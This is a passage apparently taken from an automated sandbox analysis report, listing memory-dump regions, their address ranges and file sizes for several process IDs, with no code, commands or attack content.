                                                                                • memory/1680-314-0x0000000000930000-0x0000000000931000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-179-0x0000000000000000-mapping.dmp
                                                                                • memory/1680-224-0x0000000002910000-0x0000000002911000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-225-0x0000000002920000-0x0000000002921000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-226-0x00000000028D0000-0x00000000028D1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-227-0x0000000002940000-0x0000000002941000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-228-0x0000000002900000-0x0000000002901000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-229-0x00000000028F0000-0x00000000028F1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-230-0x0000000002960000-0x0000000002961000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-231-0x0000000002930000-0x0000000002931000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-233-0x0000000003600000-0x0000000003601000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-304-0x00000000029A0000-0x00000000029A1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-234-0x00000000035F0000-0x00000000035F1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-306-0x0000000002A10000-0x0000000002A11000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-236-0x00000000035F0000-0x00000000035F1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-239-0x00000000035F0000-0x00000000035F1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-241-0x00000000035F0000-0x00000000035F1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-244-0x0000000000990000-0x0000000000991000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-302-0x00000000029B0000-0x00000000029B1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-242-0x0000000000980000-0x0000000000981000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-245-0x0000000000940000-0x0000000000941000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-246-0x0000000000960000-0x0000000000961000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-248-0x0000000000B50000-0x0000000000B51000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-250-0x0000000000D10000-0x0000000000D11000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-298-0x00000000029F0000-0x00000000029F1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-251-0x00000000035F0000-0x00000000035F1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-269-0x00000000028B0000-0x00000000028B1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-255-0x0000000002860000-0x0000000002861000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-296-0x0000000002980000-0x0000000002981000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-257-0x0000000002870000-0x0000000002871000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-259-0x0000000002510000-0x0000000002511000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-291-0x00000000029C0000-0x00000000029C1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-263-0x0000000002890000-0x0000000002891000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-288-0x0000000000930000-0x0000000000931000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-286-0x00000000035F0000-0x00000000035F1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-267-0x0000000002840000-0x0000000002841000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-294-0x00000000029D0000-0x00000000029D1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-285-0x00000000035F0000-0x00000000035F1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-222-0x0000000000400000-0x00000000007FA000-memory.dmp
                                                                                  Filesize

                                                                                  4.0MB

                                                                                • memory/1680-274-0x00000000035F0000-0x00000000035F1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-217-0x0000000000860000-0x00000000008C0000-memory.dmp
                                                                                  Filesize

                                                                                  384KB

                                                                                • memory/1680-282-0x00000000035F0000-0x00000000035F1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1680-277-0x00000000035F0000-0x00000000035F1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1688-220-0x0000000000000000-mapping.dmp
                                                                                • memory/1692-118-0x0000000000000000-mapping.dmp
                                                                                • memory/1704-163-0x0000000000000000-mapping.dmp
                                                                                • memory/1728-161-0x0000000000000000-mapping.dmp
                                                                                • memory/1740-167-0x0000000000000000-mapping.dmp
                                                                                • memory/1752-138-0x0000000000000000-mapping.dmp
                                                                                • memory/1752-174-0x00000000003C0000-0x00000000003C1000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1760-300-0x0000000000260000-0x0000000000261000-memory.dmp
                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1760-223-0x0000000000000000-mapping.dmp
                                                                                • memory/1764-152-0x0000000000000000-mapping.dmp
                                                                                • memory/1772-221-0x0000000000000000-mapping.dmp
                                                                                • memory/1836-219-0x0000000000000000-mapping.dmp
                                                                                • memory/1892-168-0x0000000000000000-mapping.dmp
                                                                                • memory/1904-122-0x0000000000000000-mapping.dmp
                                                                                • memory/1908-128-0x0000000000000000-mapping.dmp
                                                                                • memory/1924-130-0x0000000000000000-mapping.dmp
                                                                                • memory/1992-211-0x000000000040CD2F-mapping.dmp
                                                                                • memory/1992-279-0x0000000000400000-0x000000000043C000-memory.dmp
                                                                                  Filesize

                                                                                  240KB

                                                                                • memory/1992-203-0x0000000000400000-0x000000000043C000-memory.dmp
                                                                                  Filesize

                                                                                  240KB

                                                                                • memory/1992-207-0x0000000000400000-0x000000000043C000-memory.dmp
                                                                                  Filesize

                                                                                  240KB

                                                                                • memory/2028-172-0x0000000000000000-mapping.dmp
                                                                                • memory/2060-380-0x0000000000000000-mapping.dmp
                                                                                • memory/2068-284-0x0000000000000000-mapping.dmp
                                                                                • memory/2116-290-0x0000000000000000-mapping.dmp
                                                                                • memory/2136-292-0x0000000000000000-mapping.dmp
                                                                                • memory/2184-295-0x0000000000000000-mapping.dmp
                                                                                • memory/2240-303-0x0000000000000000-mapping.dmp
                                                                                • memory/2280-308-0x0000000000000000-mapping.dmp
                                                                                • memory/2468-369-0x0000000000000000-mapping.dmp
                                                                                • memory/2532-370-0x0000000000000000-mapping.dmp
                                                                                • memory/2612-374-0x0000000000000000-mapping.dmp
                                                                                • memory/2660-342-0x0000000000000000-mapping.dmp
                                                                                • memory/2916-352-0x0000000000000000-mapping.dmp
                                                                                • memory/2976-355-0x0000000000000000-mapping.dmp
                                                                                • memory/2996-358-0x0000000000000000-mapping.dmp
                                                                                • memory/3064-362-0x0000000000000000-mapping.dmp